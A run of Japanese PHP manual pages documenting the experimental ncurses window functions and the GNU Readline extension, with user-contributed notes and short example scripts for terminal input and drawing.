ncurses_use_env — 端末の大きさに関する環境情報の使用を制御する

説明

ncurses_use_env ( bool $flag ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

flag

User Contributed Notes

There are no user contributed notes for this page.


terminfo 記述において拡張名の使用を制御する

  • ≪ ncurses_use_env
  • ncurses_vidattr ≫
  • PHP Manual
  • Ncurses 関数
  • terminfo 記述において拡張名の使用を制御する

ncurses_use_extended_names

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_extended_names — terminfo 記述において拡張名の使用を制御する

説明

ncurses_use_extended_names ( bool $flag ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

flag

User Contributed Notes

There are no user contributed notes for this page.


video attribute モードで、端末上に文字列を表示する

  • ≪ ncurses_use_extended_names
  • ncurses_vline ≫
  • PHP Manual
  • Ncurses 関数
  • video attribute モードで、端末上に文字列を表示する

ncurses_vidattr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vidattr — video attribute モードで、端末上に文字列を表示する

説明

ncurses_vidattr ( int $intarg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

intarg

User Contributed Notes

There are no user contributed notes for this page.


現在位置に最大 n 文字の属性付きの文字を用いて垂直線を描画する

  • ≪ ncurses_vidattr
  • ncurses_waddch ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置に最大 n 文字の属性付きの文字を用いて垂直線を描画する

ncurses_vline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vline — 現在位置に最大 n 文字の属性付きの文字を用いて垂直線を描画する

説明

ncurses_vline ( int $charattr , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウ内の現在位置に文字を追加し、カーソルを進める

  • ≪ ncurses_vline
  • ncurses_waddstr ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウ内の現在位置に文字を追加し、カーソルを進める

ncurses_waddch

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddch — ウィンドウ内の現在位置に文字を追加し、カーソルを進める

説明

ncurses_waddch ( resource $window , int $ch ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

ch

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウ内の現在位置にテキストを出力する

  • ≪ ncurses_waddch
  • ncurses_wattroff ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウ内の現在位置にテキストを出力する

ncurses_waddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddstr — ウィンドウ内の現在位置にテキストを出力する

説明

ncurses_waddstr ( resource $window , string $str , int $n = ? ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

str

n

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの属性をオフにする

  • ≪ ncurses_waddstr
  • ncurses_wattron ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの属性をオフにする

ncurses_wattroff

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattroff — ウィンドウの属性をオフにする

説明

ncurses_wattroff ( resource $window , int $attrs ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの属性をオンにする

  • ≪ ncurses_wattroff
  • ncurses_wattrset ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの属性をオンにする

ncurses_wattron

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattron — ウィンドウの属性をオンにする

説明

ncurses_wattron ( resource $window , int $attrs ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの属性を設定する

  • ≪ ncurses_wattron
  • ncurses_wborder ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの属性を設定する

ncurses_wattrset

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattrset — ウィンドウの属性を設定する

説明

ncurses_wattrset ( resource $window , int $attrs ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


属性文字を使用してウィンドウの周囲に線を描画する

  • ≪ ncurses_wattrset
  • ncurses_wclear ≫
  • PHP Manual
  • Ncurses 関数
  • 属性文字を使用してウィンドウの周囲に線を描画する

ncurses_wborder

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wborder — 属性文字を使用してウィンドウの周囲に線を描画する

説明

ncurses_wborder ( resource $window , int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

window で指定したウィンドウの周囲を指定した線と角で囲みます。

メインウィンドウの周囲を囲むには、ncurses_border() を使用します。

パラメータ

各パラメータに 0 を渡すとその部分を描画し、1 を渡すと描画しません。

window

操作するウィンドウ。

left

right

top

bottom

tl_corner

左上隅。

tr_corner

右上隅。

bl_corner

左下隅。

br_corner

右下隅。

参考

  • ncurses_border() - 属性付きの文字で画面周囲に境界を描画する

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 10:40
Note that this function is looking for the ordinal value of a character - you must pass integers, not actual characters.

For the sake of 'ease of use', I use this in my ncurses Window class:

<?php
public function border($left = '|', $top = '-', $right = '|', $bottom = '-', $tlCorner = '+', $trCorner = '+', $brCorner = '+', $blCorner = '+')
{
    ncurses_wborder($this->window, ord($left), ord($right), ord($top), ord($bottom), ord($tlCorner), ord($trCorner), ord($blCorner), ord($brCorner));
}
?>

This allows you to do something like the following:
<?php
// Border the window with some weird stuff.
$window->border('.', '~', 'l', '$');
?>


ウィンドウをクリアする

  • ≪ ncurses_wborder
  • ncurses_wcolor_set ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウをクリアする

ncurses_wclear

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wclear — ウィンドウをクリアする

説明

ncurses_wclear ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの色の組み合わせを設定する

  • ≪ ncurses_wclear
  • ncurses_werase ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの色の組み合わせを設定する

ncurses_wcolor_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wcolor_set — ウィンドウの色の組み合わせを設定する

説明

ncurses_wcolor_set ( resource $window , int $color_pair ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

color_pair

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウを消去する

  • ≪ ncurses_wcolor_set
  • ncurses_wgetch ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウを消去する

ncurses_werase

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_werase — ウィンドウを消去する

説明

ncurses_werase ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


キーボート (ウィンドウ) から文字を読み込む

  • ≪ ncurses_werase
  • ncurses_whline ≫
  • PHP Manual
  • Ncurses 関数
  • キーボート (ウィンドウ) から文字を読み込む

ncurses_wgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wgetch — キーボート (ウィンドウ) から文字を読み込む

説明

ncurses_wgetch ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

johns at servangle dot net 07-Jan-2007 08:01
Something worth noting here; I noticed that with ncurses_wgetch function keys are broken into multiple codes while ncurses_getch returns only one attributed code.

For example, with ncurses_wgetch pressing an up arrow results in three codes 27 91 65 (an ascii escape sequence). The problem is subsequent calls to ncurses_wgetch are required to acquire all three codes. Unfortunately, pressing an "A" key for example would result in only a single code of 65. This makes it hard to trap for both function keys and regular keys.

However, with ncurses_getch an up arrow results in a single attributed code of 259 or the "NCURSES_KEY_UP" key constant. An "A" key is still 65.
john at bowlingball dot com 22-Feb-2006 08:19
By default ncurses_wgetch does not return keypad keys.  If you need to use function or arrow keys in a sub window, simply do this first.

ncurses_keypad($win, TRUE);
gf3 dot bm3 at gmail dot com 08-Oct-2004 04:41
Heres a function to get a string from a specific window and return it on ENTER.

// Dynamic String Input (converts INT ASCII to CHAR)
function ncurses_wgetstr($win){
    $strlen = 1;
    for ($sx=0;$sx<$strlen;$sx++){
        $strlen++;
        $ch = ncurses_wgetch($win);
        if ($ch == 13){
            return $str;
            break 2;
        }
        $str .= chr($ch);
    }
}

Example:

$ncurse = ncurses_init();
$fullscreen = ncurses_newwin (0,0,  0,0);
ncurses_border(0,0,  0,0,  0,0,  0,0);
ncurses_refresh();

while (1){
    $keyPressed = ncurses_wgetstr($fullscreen);
    ncurses_wrefresh($fullscreen);
}


指定した属性文字を用いて、最大 n 文字分の長さの水平線を ウィンドウに描画する

  • ≪ ncurses_wgetch
  • ncurses_wmouse_trafo ≫
  • PHP Manual
  • Ncurses 関数
  • 指定した属性文字を用いて、最大 n 文字分の長さの水平線を ウィンドウに描画する

ncurses_whline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_whline — 指定した属性文字を用いて、最大 n 文字分の長さの水平線を ウィンドウに描画する

説明

ncurses_whline ( resource $window , int $charattr , int $n ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウ/標準画面の座標系を変換する

  • ≪ ncurses_whline
  • ncurses_wmove ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウ/標準画面の座標系を変換する

ncurses_wmouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmouse_trafo — ウィンドウ/標準画面の座標系を変換する

説明

ncurses_wmouse_trafo ( resource $window , int &$y , int &$x , bool $toscreen ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

x

y

toscreen

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの出力位置を移動する

  • ≪ ncurses_wmouse_trafo
  • ncurses_wnoutrefresh ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの出力位置を移動する

ncurses_wmove

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmove — ウィンドウの出力位置を移動する

説明

ncurses_wmove ( resource $window , int $y , int $x ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

y

x

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウを仮想画面にコピーする

  • ≪ ncurses_wmove
  • ncurses_wrefresh ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウを仮想画面にコピーする

ncurses_wnoutrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wnoutrefresh — ウィンドウを仮想画面にコピーする

説明

ncurses_wnoutrefresh ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


端末画面のウインドウをリフレッシュする

  • ≪ ncurses_wnoutrefresh
  • ncurses_wstandend ≫
  • PHP Manual
  • Ncurses 関数
  • 端末画面のウインドウをリフレッシュする

ncurses_wrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wrefresh — 端末画面のウインドウをリフレッシュする

説明

ncurses_wrefresh ( resource $window ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

php at kormoc dot com 28-Nov-2005 09:08
Keep in mind, you need to do a ncurses_refresh before any window drawing options to display the window correctly.

for example
ncurses_wclear($window);
ncurses_wborder($window, 0, 0, 0, 0, 0, 0, 0, 0);
ncurses_wrefresh($window);

won't work correctly the first time though the loop (not sure why),

but throw on a ncruses_refresh at the top and it displays correctly
joeldegan AT yahoo.com 15-Dec-2002 12:24
Here is a functional example of drawing dynamic windows and refreshing them using ncurses_wrefresh.

This draws the main window, borders it, creates a small window borders it, creates a lower window and borders it as well. it also shows an example of doing a little backgrounding..

<?php
/*
the window will look somewhat like this...
+--------------------------------------+
|+---+                                  |
||   |                                  |
|+---+                                 |
|                                        |
|+------------------------------------+|
||                                      ||
|+------------------------------------+|
+--------------------------------------+
*/

$n=0;
$a = ncurses_init();
ncurses_border(0,0, 0,0, 0,0, 0,0);
$z = ncurses_newwin ( 15, 15, 10, 10);

if(ncurses_has_colors()){
    ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}//fi

while(1){
  for ($x=1; $x<80; $x++) {
    for ($y=1; $y<24; $y++) {
          $n++;
          ncurses_move($y,$x);
          ncurses_addch($n+64);
          ncurses_color_set($n%8);
          if($n>26)$n=0;
    }//rof
  }//rof

// border the main window
ncurses_border(0,0, 0,0, 0,0, 0,0);
ncurses_refresh();

// create a new little window and border it.
$z = ncurses_newwin ( 10, 10, 2, 2);
ncurses_wborder($z,0,0, 0,0, 0,0, 0,0); // undocumented function, border the window
ncurses_wrefresh($z); // show it

// get our maximum y and x values
$current = getmaxxy();
$lines = $current[1];
$cols = $current[0];

// create a lower window which is dynamically sized...
$c = ncurses_newwin (10, $cols-4, $lines-11, 2);
ncurses_wborder($c,0,0, 0,0, 0,0, 0,0); // border it
ncurses_wrefresh($c); // show it
ncurses_getch(); // wait for user to press key
ncurses_clear();// clear and then redraw..

}//wend

function getmaxxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

?>


ウィンドウの standout モードを終了する

  • ≪ ncurses_wrefresh
  • ncurses_wstandout ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの standout モードを終了する

ncurses_wstandend

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandend — ウィンドウの standout モードを終了する

説明

ncurses_wstandend ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


ウィンドウの standout モードに入る

  • ≪ ncurses_wstandend
  • ncurses_wvline ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの standout モードに入る

ncurses_wstandout

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandout — ウィンドウの standout モードに入る

説明

ncurses_wstandout ( resource $window ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


指定した属性文字を用いて、最大 n 文字分の長さの垂直線を ウィンドウに描画する

  • ≪ ncurses_wstandout
  • Readline ≫
  • PHP Manual
  • Ncurses 関数
  • 指定した属性文字を用いて、最大 n 文字分の長さの垂直線を ウィンドウに描画する

ncurses_wvline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wvline — 指定した属性文字を用いて、最大 n 文字分の長さの垂直線を ウィンドウに描画する

説明

ncurses_wvline ( resource $window , int $charattr , int $n ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


GNU Readline

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Readline 関数
    • readline_add_history — ヒストリに 1 行追加する
    • readline_callback_handler_install — readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す
    • readline_callback_handler_remove — インストールされたハンドラを削除し、端末の設定をもとに戻す
    • readline_callback_read_char — 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する
    • readline_clear_history — ヒストリをクリアする
    • readline_completion_function — 補完関数を登録する
    • readline_info — 種々の readline の内部変数を取得/設定する
    • readline_list_history — ヒストリを一覧表示する
    • readline_on_new_line — カーソルが新しい行に移動したことを readline に通知する
    • readline_read_history — ヒストリを読み込む
    • readline_redisplay — 画面を再描画する
    • readline_write_history — ヒストリを書きこむ
    • readline — 一行読み込む

User Contributed Notes

list2011 at lunch dot za dot net 02-Feb-2012 10:11
When readline is enabled, php switches the terminal mode to accept line-buffered input.  This means that the proper way to use the cli when you pipe to an interactive command is to explicitly specify that php is not using the terminal for input:

php somescript.php < /dev/null | less


はじめに

readline 関数群は、GNU Readline ライブラリへの インターフェイスを実装したものです。これらの関数は、コマンドラインの 編集機能を提供します。一例をあげると、Bash において文字を挿入したり コマンド履歴を走査したりする際に、矢印キーを使用することを 可能にしているものです。 このライブラリは対話的なものであるため、Web アプリケーションで 使用されることはほとんどないでしょう。しかし、 コマンドライン から PHP を使用するスクリプトを書く際には有用です。

PHP 7.1.0 以降、この拡張モジュールは Windows でサポートされます。

警告

readline 拡張機能はスレッドセーフではありません！ (Apache の mod_winnt のような) 本物のスレッドセーフな SAPI と使わないことを強くお勧めします。

User Contributed Notes

There are no user contributed notes for this page.


要件

readline 関数を使用するには、libreadline をインストールすることが 必要です。libreadline は、» http://cnswww.cns.cwru.edu/~chet/readline/rltop.html にある GNU Readline プロジェクトのホームページから入手可能です。このライブラリは、Bash の 作者でもある Chet Ramey により管理されています。

この関数を libeditライブラリで使用することも可能です。これは readline ライブラリの代替品で、非 GPL です。 libeditライブラリは BSD ライセンスで配布され、 » http://www.thrysoee.dk/editline/ から入手可能です。

User Contributed Notes

Anonymous 26-Jan-2011 06:38
Note that libedit does not support the function readline_list_history()


インストール手順

この関数を使用するには、readline サポートを有効にして CGI 版または CLI 版の PHP をコンパイルする必要があります。PHP の configure に --with-readline[=DIR] を指定する必要が あります。readline の代替品である libedit を使用したい場合、PHP の configure に --with-libedit[=DIR] を指定してください。

Windowsでは、この拡張モジュールは PHP 7.1.0からデフォルトで利用可能です。

User Contributed Notes

kevin_tm at yahoo dot com 28-Jan-2016 07:32
If you missed that argument when initially installing php5 and want to add it after the fact, this is all you need:

sudo apt-get install php5-readline
rs at income dot cz 27-Jan-2015 06:30
Use dotdeb. It's like 1 minute work.

Follow https://www.dotdeb.org/instructions/

Do only points 1,3,4 (omit 2)

and then
sudo apt-get install php5-readline


実行時設定

php.ini の設定により動作が変化します。

Readline 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
cli.pager | "" | PHP_INI_ALL | PHP 5.4.0 以降で使用可能。
cli.prompt | "\\b \\> " | PHP_INI_ALL | PHP 5.4.0 以降で使用可能。

以下に設定ディレクティブに関する 簡単な説明を示します。

cli.pager string

コマンドライン の出力を表示する外部ツール。

cli.prompt string

コマンドラインのプロンプト。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

READLINE_LIB (string)
readline サポートに使われるライブラリ。 現状は、readline または libedit が指定できます。 PHP 5.5.0 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


Readline 関数

目次

  • readline_add_history — ヒストリに 1 行追加する
  • readline_callback_handler_install — readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す
  • readline_callback_handler_remove — インストールされたハンドラを削除し、端末の設定をもとに戻す
  • readline_callback_read_char — 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する
  • readline_clear_history — ヒストリをクリアする
  • readline_completion_function — 補完関数を登録する
  • readline_info — 種々の readline の内部変数を取得/設定する
  • readline_list_history — ヒストリを一覧表示する
  • readline_on_new_line — カーソルが新しい行に移動したことを readline に通知する
  • readline_read_history — ヒストリを読み込む
  • readline_redisplay — 画面を再描画する
  • readline_write_history — ヒストリを書きこむ
  • readline — 一行読み込む

User Contributed Notes

david at acz dot org 28-Feb-2007 09:07
Readline only reads the window size on startup or on SIGWINCH.  This means if the window is resized when not in a readline() call, the next call will have odd behavior due to confusion about the window size.

The work-around is to force Readline to re-read the window size by sending it SIGWINCH.  This is accomplished using the async interface, which installs the signal handler but returns control to PHP.

The following function is a drop-in replacement for readline(), but re-reads the window size every time:

<?
    function xreadline($prompt)
    {
        global $xreadline, $xreadline_line;
        $code = '$GLOBALS["xreadline"] = false;' .
                '$GLOBALS["xreadline_line"] = $line;' .
                'readline_callback_handler_remove();';
        $cb = create_function('$line', $code);
        readline_callback_handler_install($prompt, $cb);
        $signal = defined("SIGWINCH") ? SIGWINCH : 28;
        posix_kill(posix_getpid(), $signal);
        $xreadline = true;
        while ($xreadline)
            readline_callback_read_char();
        return is_null($xreadline_line) ? false : $xreadline_line;
    }
?>
flobee 28-Apr-2006 10:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
    $cmdline = new prompt();
    $buffer = $cmdline->get('shell command: ');
// init/ reset first!
    $data = null;
    $return = null;
// now start:
    echo "You said: $buffer\n";
    if (!empty($buffer)) {
        $x = exec($buffer, $data, $return);
        print_r($data);
    }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com 22-Feb-2005 06:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name 23-Nov-2004 09:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam 08-Aug-2004 01:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za 04-Dec-2003 08:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
    if (substr(PHP_OS, 0, 3) == "WIN") {
      $this->tty = fOpen("\con", "rb");
    } else {
      if (!($this->tty = fOpen("/dev/tty", "r"))) {
        $this->tty = fOpen("php://stdin", "r");
      }
    }
  }

  function get($string, $length = 1024) {
    echo $string;
    $result = trim(fGets($this->tty, $length));
    echo "\n";
    return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net 10-Jun-2002 04:05
There is a simpler way to do a multiline read than above:

function multiline() {
    while(($in = readline("")) != ".")
        $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

    return $story;
}
joshua at neocodesoftware.com 21-Apr-2002 03:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
    # 4092 max on win32 fopen

    $fp=fopen("php://stdin", "r");
    $in=fgets($fp,4094);
    fclose($fp);

    # strip newline
    (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

    return $read;
}

function multilineread () {
    do {
        $in = read();

        # test exit
        if ($in == ".") return $read;

        # concat input
        (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

    } while ($inp != ".");

    return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 07:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
    string input;
    cin >> input;
    cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck


ヒストリに 1 行追加する

  • ≪ Readline 関数
  • readline_callback_handler_install ≫
  • PHP Manual
  • Readline 関数
  • ヒストリに 1 行追加する

readline_add_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_add_history — ヒストリに 1 行追加する

説明

readline_add_history ( string $prompt ) : bool

この関数は、コマンドラインヒストリに 1 行追加します。

パラメータ

prompt

ヒストリに追加する行。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Anonymous 26-Jan-2011 03:53
Note that readline_add_history() will add empty strings too.

<?php
$line = readline(">>> ");
if (!empty($line)) {
  readline_add_history($line);
}
?>


readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す

  • ≪ readline_add_history
  • readline_callback_handler_remove ≫
  • PHP Manual
  • Readline 関数
  • readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す

readline_callback_handler_install

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_install — readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す

説明

readline_callback_handler_install ( string $prompt , callable $callback ) : bool

readline コールバックインターフェイスを設定し、プロンプト prompt を表示して入力を受け取ります。 コールバック関数 callback はひとつのパラメータを とり、そこにはユーザーの入力内容が格納されます。一度登録したコールバック インターフェイスを削除せずもういちどこの関数をコールした場合、もとの インターフェイスは自動的に上書きされます。

コールバック機能は stream_select() と組み合わせると 有用です。これは readline() とは異なり、 IO とユーザーの入力を交互に取り扱います。

パラメータ

prompt

確認メッセージ。

callback

callback 関数が受け取るパラメータはひとつで、 ユーザーから返された入力です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Readline コールバックインターフェイスの例

<?php
function rl_callback($ret)
{
    global $c, $prompting;

    echo "You entered: $ret\n";
    $c++;

    if ($c > 10) {
        $prompting = false;
        readline_callback_handler_remove();
    } else {
        readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');
    }
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');

while ($prompting) {
    $w = NULL;
    $e = NULL;
    $n = stream_select($r = array(STDIN), $w, $e, null);
    if ($n && in_array(STDIN, $r)) {
        // read a character, will call the callback when a newline is entered
        readline_callback_read_char();
    }
}

echo "Prompting disabled. All done.\n";
?>

参考

  • readline_callback_handler_remove() - インストールされたハンドラを削除し、端末の設定をもとに戻す
  • readline_callback_read_char() - 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する
